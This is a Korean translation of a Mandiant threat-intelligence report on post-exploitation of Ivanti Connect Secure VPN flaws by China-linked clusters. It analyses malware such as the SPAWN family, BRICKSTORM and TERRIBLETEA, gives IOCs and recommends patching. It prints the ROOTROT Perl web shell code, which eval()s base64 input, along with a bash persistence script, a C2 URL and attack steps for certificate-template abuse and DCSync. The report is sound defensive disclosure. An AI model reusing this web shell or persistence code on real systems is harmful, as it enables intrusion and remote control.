콘텐츠로 이동하기
위협 인텔리전스

Cutting Edge Part 4: Ivanti Connect Secure VPN 취약점을 악용한 사후 공격 및 내부 전파

2024년 4월 11일
Mandiant

보안 상담

보안에 대한 문의사항을 해당 전문가가 상담해 드립니다.

문의하기

*본 아티클의 원문은 2024년 4월 5일 Google Cloud 블로그(영문)에 게재되었습니다.


2024년 1월 공개된 두 개의 중요 취약점인 CVE-2023-46805 CVE-2024-21887 공개된 후 맨디언트(Mandiant)는 여러 산업과 지역에 걸쳐 발생한 사건에 대응하기 위해 다양한 조치를 취했습니다. 이전에 맨디언트는 블로그 포스팅(Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts)에서 UNC5325로 이름을 붙여 추적 중인 중국과 연결된 중국-넥서스(China-nexus) 스파이 그룹이 어떻게 Ivanti 제품의 취약점을 악용해 공격했는지 자세히 소개한 바 있습니다.

이 블로그 포스팅과 이전 Ivanti 취약점 악용 관련 보고서들은 Ivanti Connect Secure VPN 장비에서 발견한 보안 문제를 해결하는 패치나 적절한 대응 조치가 없을 때 어떤 일이 발생할 수 있는지에 대한 이해를 넓혀주었습니다.

맨디언트는 사건 대응 과정에서 공격자들이 다양한 방식으로 공격 활동을 하는 것을 관찰하였습니다. 이 과정에서 오픈 소스 도구와 맞춤형 맬웨어를 사용해 피해 조직의 내부 네트워크를 통한 측면 이동(Lateral Movement)을 지원하는 방법도 확인했습니다. 또한, 중국이 배후에 있는 것으로 보이는 공격자들이 목표 달성을 위해 Ivanti Connect Secure VPN의 특정 기능을 어떻게 악용하는 지도 알아냈습니다.

2024년 2월 14일 Ivanti Connect Secure VPN 보안 취약점 패치가 준비되었습니다. 맨디언트는 모든 Ivanti Connect Secure VPN 이용 조직에 Ivanti의 지침에 따라 패치를 적용할 것을 권장합니다. 또한, Ivanti는 공장 초기화나 시스템 업그레이드 후에도 맬웨어가 시스템에 남아 있는지 점검할 수 있는 외부 무결성 검사 도구(External Integrity Checker Tool, 이하 ICT)를 공개했습니다. ICT로 점검하면 시스템이 안전한 상태인지 확인할 수 있습니다. 한편, 맨디언트는 재해복구 및 보안 강화 가이드를 제공하여 보안 취약점 대응을 지원하였습니다.

2024년 4월 3일 맨디언트는 후속 조치로 새로운 패치와 함께 내부 및 외부 ICT 사용을 권장하는 내용을 담은 추가 보안 업데이트를 발표했습니다. 이러한 방어 전략은 Ivanti Connect Secure VPN의 보안을 더 강화하기 위한 것입니다. 맨디언트는 대응책을 준비하는 과정에서 Ivanti의 적극적인 협력과 지원을 받았습니다. 이 자리를 빌려 감사의 뜻을 표합니다.

공격 그룹 분류 및 속성 분석

맨디언트는 최근 여러 보안 취약점, 특히 CVE-2023-46805, CVE-2024-21887을 악용한 공격 활동을 분류하고 추적하는 작업을 진행하고 있습니다. 이 공격들은 중국과 연계된 중국-넥서스 스파이 그룹뿐만 아니라 경제적 이득을 목적으로 한 공격자들에 의해서도 수행되었는데, 이들은 주로 암호화폐 채굴 같은 활동에 취약점을 악용한 것으로 보입니다.

2024년 1월 10일 이후 맨디언트는 적어도 한 개의 Ivanti 관련 취약점을 이용한 8개의 서로 다른 공격 그룹(클러스터)를 발견했습니다. 이 중 5개는 중국-넥서스 스파이 그룹으로 확인되었습니다.

2024년 2월 맨디언트는 미국의 에너지 및 국방 부문을 겨냥한 Volt Typhoon이라는 이름의 공격 그룹을 식별했습니다. 현재 UNC5291이라 이름 붙여 추적하고 있는 이 공격 그룹은 2023년 12월 Citrix Netscaler ADC를 공격 대상으로 삼은 바 있으며, 2024년 1월에는 Ivanti Connect Secure VPN에 관심을 보이기도 하였습니다. 그러나 아직 이 공격 그룹이 Ivanti Connect Secure VPN 장비를 성공적으로 해킹했다는 증거는 발견하지 못했습니다.

UNC5221

맨디언트는 2023년 12월 초부터 2024년 1월 10일 전까지 CVE-2023-46805, CVE-2024-21887 보안 취약점을 악용한 유일한 공격 그룹으로 UNC5221을 추적하고 있습니다. 이전 블로그 포스팅에서 언급한 바와 같이 이들은 중국-넥서스 스파이 그룹으로 보이며, Ivanti 관련 취약점을 악용하는 공격을 계속 수행해 왔습니다.

UNC5266

맨디언트는 SLIVER, WARPWIRE 변형, 그리고 TERRIBLETEA라는 새로운 맬웨어 패밀리를 사용해 공격을 수행한 공격 그룹을 UNC5266으로 이름 붙여 추적 중입니다. 이 공격 그룹은 Aspera Faspex, Microsoft Exchange, Oracle Web Applications Desktop Integrator 등 다양한 엔터프라이즈 소프트웨어의 취약점을 악용해 초기 접근을 시도한 것으로 보입니다. 이외에도 UNC3569로 추적하고 있는 다른 중국-넥서스 스파이 그룹과 일부 활동이 겹치는 것도 확인할 수 있었습니다.

UNC5330

또 다른 중국-넥서스 스파이 그룹으로 추적하고 있는 UNC5330도 2024년 2월 초부터 Ivanti Connect Secure VPN 장치를 노린 공격을 시작했습니다. 이들은 CVE-2024-21893과 CVE-2024-21887을 악용해 초기 침투를 한 다음 PHANTOMNET, TONERJAM 맬웨어를 배포하였습니다. 이 공격 그룹은 WMI(Windows Management Instrumentation)를 활용해 피해 조직의 네트워크 내에서 정보를 수집하고, 측면 이동을 하면서 시스템 변경 및 맬웨어 유지에 관여하였습니다.

맨디언트는 2021년 6일 이후 UNC5330이 서버를 운영하는 것을 관찰하였습니다. 이 공격 그룹은 해당 서버를 GOST 프록시라는 도구로 사용했는데, 이는 맬웨어를 컴퓨터 시스템(엔드포인트)에 전송하는 데 사용되었습니다. GOST 프록시 식별에 사용한 인증서 유효 기간은 2022년 9월 1일부터 2024년 1일까지로 확인되었습니다. 더 나아가 2024년 2월 3일에는 이 공격 그룹이 FRP(Fast Reverse Proxy)라는 도구를 목표로 삼은 Ivanti Connect Secure VPN 장비로부터 이 서버로 다운로드하려고 시도한 사실도 밝혀냈습니다. 이러한 활동들이 비교적 가까운 시간 내에 일어났고, 사용한 SSH가 재사용된 것으로 보아 맨디언트는 UNC5330이 최소한 2021년부터 이 서버를 운영한 것으로 보고 있습니다.

UNC5337

UNC5337은 중국-넥서스 스파이 그룹으로 2024년 1월부터 Ivanti Connect Secure VPN 장비를 공격한 것으로 의심하고 있습니다. 이들은 두 가지 취약점을 악용해 인증 우회와 명령 삽입을 수행하였습니다. UNC5337은 SPAWNSNAIL, SPAWNMOLE, SPAWNANT, SPAWNSLOTH 등의 사용자 정의 맬웨어를 사용해 장비를 감염시켰습니다. 맨디언트는 이 공격 그룹이 다른 스파이 활동 그룹인 UNC5221과 관련이 있을 것으로 보고 있습니다.

UNC5291

UNC5291은 교육, 에너지, 방위, 보건 분야에서 공격 목표를 찾는 위협 행위자 집단으로 UNC3236과 연관이 있을 가능성이 있습니다. 이들의 활동은 2023년 12월에 Citrix Netscaler ADC를 대상으로 시작되었고, 2024년 1월에는 Ivanti Connect Secure VPN 장비에 공격 초점을 맞추었습니다. Volt Typhoon과 관련된 이 위협 행위자 집단은 중요 인프라에 관심이 많은 것으로 알려져 있으며, 2024년 2월 사이버 보안 및 인프라 보안국(CISA)은 이들이 중요 인프라를 목표로 삼고 있다고 경고한 바 있습니다.

정리하자면 UNC5337과 UNC5291은 중국과 연결된 공격 그룹으로 각각 Ivanti Connect Secure VPN와 Citrix Netscaler ADC를 공격하는 등의 활동을 수행하고 있으며, 특정 인프라를 목표로 삼고 있는 것으로 의심됩니다.

새로 발견한 TTP와 맬웨어

최근 Ivanti Connect Secure VPN 침해 사고가 일어난 한 사이버 공격 조사에서 맨디언트는 해커들이 피해 조직의 네트워크 내에서 측면 이동을 하며 다른 시스템에 접근하기 위해 새로운 전략, 기술, 절차(TTP)를 사용하는 것을 발견했습니다. 조사 과정에서 공격자들이 사용하는 다양한 신규 맬웨어 패밀리도 확인했는데, 이 중 일부는 해커들이 직접 만든 맞춤형 맬웨어입니다. 이외에 SLIVER, CrackMapExec 같은 이미 알려진 오픈 소스 도구를 사용하는 것도 관찰하였습니다.

SPAWN 맬웨어 패밀리

Ivanti Connect Secure VPN 장비를 해킹한 UNC5221 공격 그룹 분석을 통해 맨디언트는 네 종류의 서로 다른 맬웨어가 사용되어 장비에 장기간 숨길 수 있는 백도어를 생성하는 것을 발견하였습니다. 이 맬웨어 패밀리는 공격자들이 탐지되지 않고 오랫동안 시스템에 접근할 수 있게 해주는 목적으로 개발된 것으로 보입니다.

그림 1은 SPAWN 맬웨어 패밀리의 작동 방식을 보여줍니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/cutting-edge4-fig1.max-1600x1600.png

그림 1. SPAWN 맬웨어 패밀리 다이어그램

SPAWNANT

SPAWNANT는 다른 두 맬웨어인 SPAWNMOLE 터널러와 SPAWNSNAIL 백도어를 지원하는 설치 도구입니다. 이 도구는 정상적인 설치 프로세스인 dspkginstall을 가로채서 맬웨어를 추가하고, 이후 작업을 정상적으로 마치게 합니다. 맬웨어를 컴퓨터 시스템에 안착시키는 데 사용하는 도구라 보면 됩니다.

SPAWNMOLE

SPAWNMOLE은 프로세스에 주입되는 터널러입니다. SPAWNMOLE은 web 프로세스에 침투하여, 트래픽을 처리하는 accept 함수를 탈취하고, 맬웨어를 추가하기 위해 sprintf 함수를 내보내기 전에 해당 프로세스를 가로챕니다. 이후 흐름을 다시 vsnprintf로 리다이렉션하여 합법적인 웹 트래픽은 그대로 두고, 악성 트래픽만 특정 목적지로 전송합니다. 이를 통해 해커는 웹 서버를 이용해 불법적으로 데이터를 전송하거나 명령을 실행할 수 있습니다.

    • 맬웨어는 web 프로세스에 주입하려고 시도합니다.

    • 맬웨어는 web 프로세스 내의 libc 바이너리에서 accept API 탈취를 시도합니다.

    • 써드파티 라이브러리 사용을 위해 특별히 PIE(Position Independent Excutable)로 컴파일됩니다.

    • 맬웨어 트래픽은 받은 버퍼의 0x13 오프셋에 0xfb49e3e2 및 0x1b 오프셋에 0x1bc38361이 포함된 헤더로 시작해야 합니다.

SPAWNSNAIL

SPAWNSNAIL(libdsmeeting.so)은 로컬 호스트에서 비밀리에 통신할 수 있는 백도어를 만드는 도구입니다. 이는 주로 모바일 장치 관리를 위해 사용하는 특정 프로세스(dsmdm)에 숨겨져 실행되며, 공격자가 컴퓨터 내부로부터 명령을 수행하고 정보를 가져갈 수 있게 해줍니다. SPAWNSNAIL은 컴퓨터의 특정 포트(8300)에서만 동작하는 SSH 서버를 만들며, 이를 통해 공격자가 컴퓨터에 접근할 수 있게 합니다.

  1. 첫 번째 스레드는 비밀 키를 임시 파일(/tmp/.dskey)에 저장한 다음 SSH 연결 설정에 이 키를 사용하도록 합니다. 설정 후 임시 파일은 삭제됩니다. 이렇게 해서 localhost의 포트 8300에서 듣고 있으면서 공개 키 인증 방식을 요구하는 SSH 서버가 생성됩니다. 연결이 성공하면 SELinux 활성 여부, 가동 시간 등 시스템 관련 정보를 보여주고, 공격자가 시스템을 제어할 수 있도록 bash 쉘을 제공합니다.

  2. 두 번째 스레드는 ConnectSecure의 이벤트 로깅을 담당하는 다른 프로세스(dslogserver)에 SPAWNSLOTH라는 로그 조작 유틸리티를 최대 세 번까지 주입합니다. 이를 통해 공격자는 로그 파일을 조작해 공격 흔적을 지우거나 변조할 수 있습니다.

SPAWNSLOTH

SPAWNSLOTH는 컴퓨터 시스템의 로그 기록을 조작하는 도구로 로그 기록 조작, 로깅 함수 가로채기, 프로세스 간 통신을 위해 사용합니다. SPAWNSLOTH는 시스템 내의 특정 프로세스(dslogserver)에 침투하여, 이 프로세스가 생성하는 로그를 조작할 수 있습니다. 특히, SPAWNSNAIL 백도어가 활성화되었을 때, 시스템이 로그를 기록하는 것을 비활성화고, 외부 syslog 서버로 로그를 전송하는 기능을 멈춥니다. 자세히 보자면 먼저 SPAWNSLOTH는 funchook라는 기술로 dslogserver의 로깅 함수로 보이는 _ZN5DSLog4File3addEPKci를 가로챕니다. 그리고 g_do_syslog_servers_exist_p 심볼을 수정해 로그 데이터를 외부 syslog 서버로 보내는 것을 조정합니다. 살펴본 바와 같이 SPAWNSLOTH는 백도어가 활성화되어 있을 때만 로그 기록을 차단하는 조건 설정을 위해 사용합니다.

문제 원인 찾기

맨디언트는 Ivanti Connect Secure VPN 장비의 보안 침해 사건을 조사하는 과정에서 공격자들이 두 가지 보안 취약점(CVE-2023-46805 및 CVE-2024-21887)을 이용해 특정 파일에 새로운 웹 쉘(ROOTROT)을 삽입한 것을 발견했습니다. 이 웹 쉘은 Perl 언어로 작성했으며, 장비의 특정 위치(/data/runtime/tmp/tt/setcookie.thtml.ttc)에 저장된 합법적인 파일에 추가되었습니다. 이 파일 위치는 과거에 다른 보안 취약점(CVE-2019-11539, CVE-2020-8218)을 이용한 공격에서도 사용한 적이 있습니다.

ROOTROT 웹 쉘은 웹 브라우저를 통해 접근할 수 있는 페이지(/dana-na/auth/setcookie.cgi)를 통해 작동합니다. 사용자나 공격자가 특정 명령을 Base64로 인코딩하여 이 페이지에 전송하면, 웹 쉘은 이 명령을 디코딩하고 eval을 사용해 실행합니다. 이를 통해 공격자는 원격으로 시스템에 명령을 내릴 수 있게 되어, 시스템을 제어하거나 데이터를 탈취할 수 있습니다.

   $output .=  "</body>\n\n</html>\n";
        $output .= "<!--\n";
        my $key = CGI::param('[REDACTED]');
        use MIME::Base64;
        if(defined($key)){
                my $arg=decode_base64("$key");
                eval($arg);
        }
        $output .= "-->\n";
        } };
        if ($@) {
            $error = $context->catch($@, \$output);
            die $error unless $error->type eq 'return';
        }
    
        return $output;
    },

그림 2: Code block inserted into the setcookie.thtml.ttc file

맨디언트는 조사 과정에서 ROOTROT 웹 쉘이 보안 취약점에 관한 발표가 있기 전에 이미 시스템에 설치되었다는 사실을 밝혀냈습니다. 이는 공격이 매우 세심하게 계획되었음을 의미합니다. ROOTROT이 시스템에 설치되어 있는지 확인하는 방법의 하나는 특정 웹 페이지(/dana-na/auth/setcookie.cgi)에서 응답 끝 부분에 <!--\\n과 -->\n 문자열이 있는지 확인하는 것입니다. 그러나 시스템 내부 및 외부 무결성 검사 도구인 ICT는 ROOTROT 웹 쉘 파일(setcookie.thtml.ttc)이나 그 상위 디렉토리에서 발생한 변경 사항을 감지하지 못할 것입니다. 이유는 이 파일이 ICT 검사에서 제외된 시스템의 동적 파티션 내에 위치하기 때문입니다.

측면 이동을 통한 vCenter 침해

UNC5221은 먼저 Ivanti Connect Secure VPN 장비에 ROOTROT이라는 웹 쉘을 설치해 피해자 네트워크 내에서 측면 이동을 위한 발판을 마련했습니다. 이를 기반으로 공격자들은 피해자의 네트워크 탐색에 나섰는데, 특히 VM웨어 vCenter 서버에 관심을 가졌습니다. 측면 이동 단계에서 UNC5221은 vCenter에 접근하기 위해 먼저 vCenter의 웹 콘솔을 사용했고, 그다음에는 SSH를 통해 서버에 접근했습니다. 이후 vCenter 서버 내에서 세 개의 새로운 가상 머신을 만들었습니다. 이들은 네트워크 내의 다른 서버와 비슷한 이름을 가졌지만, UNC5221이 가상 머신들을 실제로 사용했는지는 확인하지 못했습니다. 마지막으로 UNC5221은 SSH을 통해 vCenter에 다시 접근해 BRICKSTORM이라는 또 다른 백도어를 설치했습니다. 이 백도어는 vCenter의 정상적인 프로세스인 vami-http를 모방한 것으로 추가 침입이나 명령 실행에 사용할 수 있습니다.

BRICKSTORM

BRICKSTORM은 Go 언어로 작성한 VM웨어 vCenter 서버를 목표로 하는 백도어 프로그램입니다. 이 프로그램은 웹 서버 역할을 하며 파일시스템과 디렉토리 조작, 파일 업로드/다운로드, 쉘 명령 실행, SOCKS 프로토콜을 통한 네트워크 트래픽 중계 기능을 제공합니다. BRICKSTORM은 하드코딩된 C2(Command & Control) 서버로 웹 소켓을 통해 통신합니다.

BRICKSTORM이 실행될 때 먼저 WRITE_LOG라는 환경 변수를 체크하여 프로그램이 어떻게 실행될지 결정합니다. 만약 이 변수가 false이거나 설정되지 않은 경우 BRICKSTORM은 자신의 코드를 /home/vsphere-ui/vcli에서 /opt/vmware/sbin/vami-httpd로 복사한 후 복사된 위치에서 프로그램을 실행하고 기존 실행을 종료합니다. 이 과정은 BRICKSTORM이 vCenter 서버 내에서 더 자연스럽게 숨어 있을 수 있게 합니다. WRITE_LOG가 true로 설정된 경우 BRICKSTORM은 자신이 올바른 위치에서 실행되고 있다고 판단하고 /opt/vmware/sbin/vami-httpd를 삭제한 후 정상적인 작동을 계속합니다.

BRICKSTORM 백도어에는 자신의 작업을 모니터링하는 특별한 기능이 있습니다. 이 기능은 Watcher라는 함수로 구현되어 있으며, 백도어가 시스템 내에서 제대로 작동하는지 감시합니다. WORKER라는 환경 변수가 false이거나 아예 설정되지 않았다면 BRICKSTORM은 자신이 설치된 위치인 /home/vsphere-ui/vcli를 주시하면서 이 파일의 내용을 /opt/vmware/sbin/vami-httpd로 복사합니다. 복사가 끝나면 적절한 환경 변수를 설정해 새로운 프로세스를 생성하고, 이 프로세스가 정상적으로 작동하는지 모니터링합니다.

반면에 WORKER 환경 변수가 true로 설정되어 있다면 BRICKSTORM은 자신이 백도어 기능을 수행하기 위해 특별히 생성된 worker 프로세스라고 판단하고 Watcher 함수의 나머지 단계를 실행하지 않습니다.

또한, BRICKSTORM은 웹 소켓을 통해 외부의 C2 서버와 통신합니다. 프로그램 코드 내에는 특정 웹 주소(wss://opra1.oprawh.workers[.]dev)가 하드코딩 되어 있어, 이 주소를 통해 지시를 받거나 데이터를 전송합니다. 또한, 이 백도어는 DoH(DNS over HTTPS) 서비스를 이용한 통신을 지원하는데, 이는 네트워크 트래픽을 더욱 은밀하게 만들어 외부와 통신을 숨기는 데 도움이 됩니다.

https://9.9.9.9/dns-query
https://45.90.28.160/dns-query
https://45.90.30.160/dns-query
https://149.112.112.112/dns-query
https://9.9.9.11/dns-query
https://1.1.1.1/dns-query
https://1.0.0.1/dns-query
https://8.8.8.8/dns-query
https://8.8.4.4/dns-query

그림 3: DNS over HTTPS addresses

BRICKSTORM 백도어는 wssoft라는 이름의 사용자 정의 Go 패키지를 사용하는 것으로 나타났습니다. 현재 공개적으로 wssoft란 이름으로 알려진 Go 패키지는 없으나, 이는 공격자들이 특별히 작업 처리와 연결 관리를 위해 만든 코드일 가능성이 높습니다.

 

기능

설명

웹 서버 실행(Spawning)

웹 서버는 아래와 같은 요청(주소)를 처리할 수 있습니다.

명령 실행

이 기능은 /bin/sh를 사용하여 쉘 명령을 실행합니다.

명령 실행(“NoContext”)

이 기능은 os 모듈의 os.exec 함수를 호출하여 쉘 명령을 실행합니다. run_shellexit 명령을 지원할 가능성이 높습니다.

SOCKS 릴레이

이 기능은 연결을 프록시하여 다른 서버로 연결을 릴레이합니다.

도표 1: wssoft 기능

백도어 기능이 작동하면 이 패키지는 웹 서버를 생성해 외부로부터 명령을 받아들이고 처리하는 역할을 합니다. 이 과정에서 BRICKSTORM은 Gorilla/mux라는 패키지를 사용해 다양한 웹 요청에 대한 경로를 설정하고 관리합니다. 또한, lonnng/nex라는 패키지를 이용해 데이터를 JSON 형식으로 변환(marshal)하는 작업을 수행합니다. 이러한 기술들은 BRICKSTORM이 네트워크에서 더 효율적으로 통신하고 명령을 처리하는 데 필요한 구조를 제공합니다.

 

엔드포인트

기능

/api/file/change-dir

디렉토리 변경

/api/file/delete-dir

디렉토리 삭제

/api/file/delete-file

파일 삭제

/api/file/mkdir

필요한 경우 디렉토리 생성 (하위 디렉토리 생성)

/api/file/list-dir

디렉토리 내용 나열

/api/file/rename

파일 이름 변경

/api/file/put-file

대상 경로를 지정하여 파일 업로드, 선택적으로 파일에 추가 기능

/api/file/get-file

파일 다운로드

/api/file/slice-up

대용량 파일을 별로의 청크로 업로드할 수 있음

/api/file/file-md5

파일 MD5 계산

/api/file/up

웹 폼을 사용하여 파일 업로드(SHA256 해싱 포함)

/api/file/stat

파일 정보 가져오기

도표 2: BRICKSTORM 엔드포인트

액티브 디렉토리 침해를 위한 측면 이동

UNC5330이라는 공격 그룹은 이전 포스팅(Cutting Edge Part3)에서 설명한 두 가지 보인 취약점(CVE-2024-21893과 CVE-2024-21887)을 사용하여 피해자의 시스템에 처음으로 접근하는 데 성공했습니다. 이들은 처음에 접근한 후 이미 침해된 Ivanti Connect Secure VPN 장비에 설정된 LDAP 바인드 계정을 활용했습니다. 그들의 목적은 취약한 Windows Certificate Template을 이용해 새로운 컴퓨터 객체를 만들고, 이를 통해 도메인 관리자 인증서를 발급받는 것이었습니다.

인증서를 획득한 공격자들은 도메인 관리자로 가장할 수 있었고, 이 위치에서 추가적인 자격 증명 정보를 수집할 수 있었습니다. 이후 공격자들은 네트워크 내에서 더 많은 시스템에 접근하고 제어권을 확장하기 위해 DCSync라는 기술을 사용해 추가적인 측면 이동을 시도했습니다. 이런 전략으로 UNC5330은 피해자의 네트워크 내에서 광범위한 액세스 권한을 확보해 중요 정보를 탈취할 수 있었습니다.

공격 경로 다이어그램

https://storage.googleapis.com/gweb-cloudblog-publish/images/cutting-edge4-fig4.max-1500x1500.png

그림 4. UNC5330 공격 경로

Windows Certificate Template 악용

UNC5330은 ldap-ivanti이라는 계정으로 LDAP 바인드 작업을 수행했습니다. 이 과정에서 testComputer$라는 이름의 컴퓨터 객체를 생성했습니다. 그런 다음 새로 만든 testComputer$ 객체로 도메인 컴퓨터에 등록 권한을 부여하는 취약한 인증서 템플릿으로부터 인증서를 발급받았습니다.

UNC5330은 이 인증서를 활용하여 도메인 관리자 계정용 인증서를 발급받았고, 이를 통해 Kerberos TGT(Ticket-Granting Ticket)를 얻었습니다. 이 TGT로 UNC5330은 DCSync 공격을 진행하여 네트워크 내 다른 시스템의 도메인 자격 증명을 추출해 측면 이동에 필요한 권한을 확보했습니다.

도메인 관리자 권한 확보 후 UNC5330은 WMI(Windows Management Instrumentation)를 사용하여 TONERJAM 런처와 PHANTOMNET 백도어를 네트워크 내 다른 시스템에 배포했습니다. 이 과정을 거쳐 공격자들은 네트워크 내부에 더 깊숙이 침투하고, 더 많은 시스템을 제어할 수 있는 토대를 마련했습니다.

WMI Event Consumers

공격자들은 피해자의 네트워크 내에서 측면 이동과 지속적인 접근을 확보하기 위해 WMI를 활용했습니다. 공격자들은 작업을 스케줄링하고 실행하는 데 WMI Event Consumers를 사용했습니다. 이 과정에서 공격자들은 다음과 같은 작업을 수행하였습니다.

  1. 시스템이 시작될 때 자동으로 실행되는 작업을 스케줄링하고, 이를 통해 cmd.exe를 사용해 특정 명령을 실행하였습니다.
  2. 이 명령의 결과(출력)을 C:\Windows\Temp 디렉토리에 .log 파일 형태로 저장했습니다.
  3. 사용이 끝난 후에는 스케줄링한 작업을 삭제했습니다.

이러한 방법과 WMI를 통한 명령 실행 과정에서 발견된 증거와 명명 규칙은 최신 버전의 CrackMapExec 도구 사용과 일치합니다. CrackMapExec는 SMB(Simple Message Block) 프로토콜을 사용하지 않고 DCE/RPC(Distributed Computing Environment/Remote Procedure Call)를 통해 WMI 명령을 실행하는 기능을 제공합니다. 맨디언트는 이 기술이 특히 TONERJAM, PHANTOMNET 백도어를 네트워크 내 다른 시스템에 배포하는 데 사용되었다고 보고한 바 있습니다.

TONERJAM

TONERJAM은 암호화된 쉘 코드 페이로드를 해독하고 실행하는 도구입니다. TONERJAM은 PHANTOMNET이라는 특정 페이로드의 암호화를 해제하는 데 사용합니다. 복호화 과정에서 AES 암호화 키를 활용하는데, 이 키는 페이로드 마지막 부분에 위치한 16바이트 SHA 해시 함수로 처리하여 얻습니다. TONERJAM은 자신이 실행될 때 어떤 권한을 가졌는지에 따라, 시스템 재시작 후에도 자동 실행이 되도록 윈도우 레지스트리 키를 수정하거나, 필요 없어진 COM 객체를 정리하는 등의 작업으로 지속성을 확보합니다.

PHANTOMNET

PHANTOMNET은 TCP 네트워크 프로토콜을 기반으로 통신하는 확장 가능한 백도어입니다. 이 백도어의 주요 특징은 플러그인으로 쉽게 기능을 추가할 수 있다는 것입니다. 플러그인은 시스템 메모리에 직접 적재되어 실행됩니다.

SLIVER C2

UNC5266은 별도의 공격에서 SILVER라는 도구의 복사본을 찾기 위해 특정 Python SimpleHTTP 서버를 사용했습니다. 이 서버는 공격자들이 이미 제어하고 있는 C2 서버와 같은 IP 주소에 위치해 있었습니다. SILVER 복사본은 침해 시스템 내 세 개의 다른 위치에 배치되었으며, 각각 합법적인 파일로 위장해 시스템 내에서 찾기 어렵게 해놓았습니다. 또한, 공격자들은 시스템 재시작 후에도 SILVER가 계속 실행되도록 systemd 서비스 파일을 수정해 SILVER의 복사본을 시스템에 영구적인 데몬으로 등록했습니다.

경로

설명

/home/bin/netmon

SLIVER

/home/bin/logd

SLIVER

/home/runtime/logd

SLIVER

/home/config/logd.spec.cfg

systemd 서비스 유닛 구성 파일

도표 3: SLIVER 구성 요소

UNC5266은 이전에 올린 'Cutting Edge Part2' 포스팅에서 설명한 WARPWIRE라는 소프트웨어를 변형한 버전을 사용했습니다. 이 변형 버전은 루안다에 위치한 침해된 웹 서버에서 UNC5266에 의해 다운로드된 것으로 맨디언트는 파악하고 있습니다. WARPWIRE 변형에 대한 상세 정보는 'Cutting Edge Part2' 포스팅의 그림 18을 참조 바랍니다.

TERRIBLETEA

UNC5266은 이전에 SLIVER 작업에서 사용했던 WARPWIRE 샘플을 다시 사용했습니다. 하지만 이번에는 SLIVER 대신 맨디언트가 TERRIBLETEA라고 이름 붙인 Go 언어로 작성한 백도어를 배포했습니다. 침입 과정에서 공격자들은 백도어를 다운로드하기 위해 curl 명령어 사용을 시도했으나 실패하였습니다. curl 사용 시도가 실패한 후 약 7분 뒤에 공격자들은 wget 요청으로 익명 파일 공유 사이트(pan.xj.hk)에서 백도어를 받았습니다. 이 시간 동안 공격자들은 아마 TERRIBLETEA 백도어를 해당 파일 공유 사이트에 올린 것으로 추정됩니다.

TERRIBLETEA는 XXTEA 암호화를 사용해 HTTP를 통한 암호화된 통신을 지원하는 Go 언어로 개발한 백도어로 다음처럼 다양한 기능을 제공합니다.

  • 명령 실행
  • 키스트로크 로깅
  • SOCKS5 프록시
  • 포트 스캐닝
  • 파일시스템 상호작용
  • SQL 쿼리 실행
  • 화면 캡처
  • 새 SSH 세션 열기, 명령 실행 및 파일을 원격 서버에 업로드하는 기능
    • chmod +x /tmp/.udevd
    • /tmp/.udevd <args>
    • ls -lahrt /home/

TERRIBLETEA 백도어는 운영체제 종류에 따라 다르게 작동할 수 있습니다. 구체적으로 보자면 이 백도어는 리눅스(특히 linux_amd64 아키텍처)나 맥OS(darwin_amd64 아키텍처) 환경에서 실행될 수 있습니다. 이번 경우에는 TERRIBLETEA가 리눅스 아키텍처용으로 설정되어 있습니다. 백도어가 시스템에 계속 남아 있을 수 있도록 /etc/profile.d/cron.sh 경로에 있는 bash 프로필 스크립트를 사용합니다. 이 스크립트로 TERRIBLETEA는 시스템이 다시 시작되어도 자동으로 다시 실행됩니다.

# Initialization script for bash and sh
# export AFS if you are in AFS environment
a=`ps -fe|grep /bin/cron |grep -v grep|wc|awk '{print$1}'`
if [ "$a" -eq 0 ] 
then
/bin/cron
fi

그림 5: TERRIBLETEA Bash profile script

전망

이 블로그 포스팅과 얼마 전에 공유한 'Cutting Edge Part 3' 포스팅에서 UNC5325가 Ivanti Connect Secure VPN 장비를 공격 대상으로 삼은 사례를 살펴보았습니다. 그리고 이를 통해 네트워크 엣지 장치가 어떤 위협에 노출될 수 있는지 알아보았습니다. 맨디언트의 조사에 따르면 중국과 연결된 공격자들은 전 세계 기업들을 대상으로 위협을 가하고 있으며, 아직 공개되지 않은 제로데이 취약점뿐만 아니라 이미 알려진 N-데이 취약점도 적극 활용하고 있습니다.

엣지 장치의 보안 취약점을 이용한 공격에 성공하면 공격자들은 다양한 TTP를 동원해 후속 공격을 하는 것도 확인되고 있습니다. 특히, 중국과 연관된 공격자들은 보안 시스템 감지를 회피하기 위해 공격 방법을 은밀하게 개선하고 있습니다. 오픈 소스 도구를 사용하는 경우도 많지만, 특정 환경에 맞춰 직접 개발한 맞춤형 맬웨어 코드를 사용하는 사례도 심심찮게 볼 수 있습니다.

침해 지표(IOC)

호스트 기반 지표(HBI)

파일명

MD5

설명

data.dat

9d684815bc96508b99e6302e253bc292

PHANTOMNET

epdevmgr.dll

b210a9a9f3587894e5a0f225b3a6519f

TONERJAM

libdsproxy.so

4f79c70cce4207d0ad57a339a9c7f43c

SPAWNMOLE

libdsmeeting.so

e7d24813535f74187db31d4114f607a1

SPAWNSNAIL

.liblogblock.so

4acfc5df7f24c2354384f7449280d9e0 

SPAWNSLOTH

.dskey

3ef30bc3a7e4f5251d8c6e1d3825612d

SPAWNSNAIL private key

N/A

bb3b286f88728060c80ea65993576ef8

TERRIBLETEA

N/A

cfca610934b271c26437c4ce891bad00

TERRIBLETEA

N/A

08a817e0ae51a7b4a44bc6717143f9c2

TERRIBLETEA

linb64.png

e7fdbed34f99c05bb5861910ca4cc994

SLIVER

lint64.png

c251afe252744116219f885980f2caea

SLIVER

linb64.png

4f68862d3170abd510acd5c500e43548

SLIVER

lint64.png

9d0b6276cbc4c8b63c269e1ddc145008

SLIVER

logd

71b4368ef2d91d49820c5b91f33179cb

SLIVER

winb64.png

d88bbed726d79124535e8f4d7de5592e

SLIVER

logd.spec.cfg

846369b3a3d4536008a6e1b92ed09549

SLIVER persistence

N/A

8e429d919e7585de33ea9d7bb29bc86b

SLIVER downloader

N/A

fc1a8f73010f401d6e95a42889f99028

PHANTOMNET

N/A

e72efc0753e6386fbca0a500836a566e

PHANTOMNET

N/A

4645f2f6800bc654d5fa812237896b00

BRICKSTORM

도표 4: Host-based indicators

네트워크 기반 지표(NBI)

Network Indicator

Type

Description

8.218.240[.]85

IPv4

Post-exploitation activity

98.142.138[.]21

IPv4

Post-exploitation activity

103.13.28[.]40

IPv4

Post-exploitation activity

103.27.110[.]83

IPv4

Post-exploitation activity

103.73.66[.]37

IPv4

Post-exploitation activity

193.149.129[.]191

IPv4

Post-exploitation activity

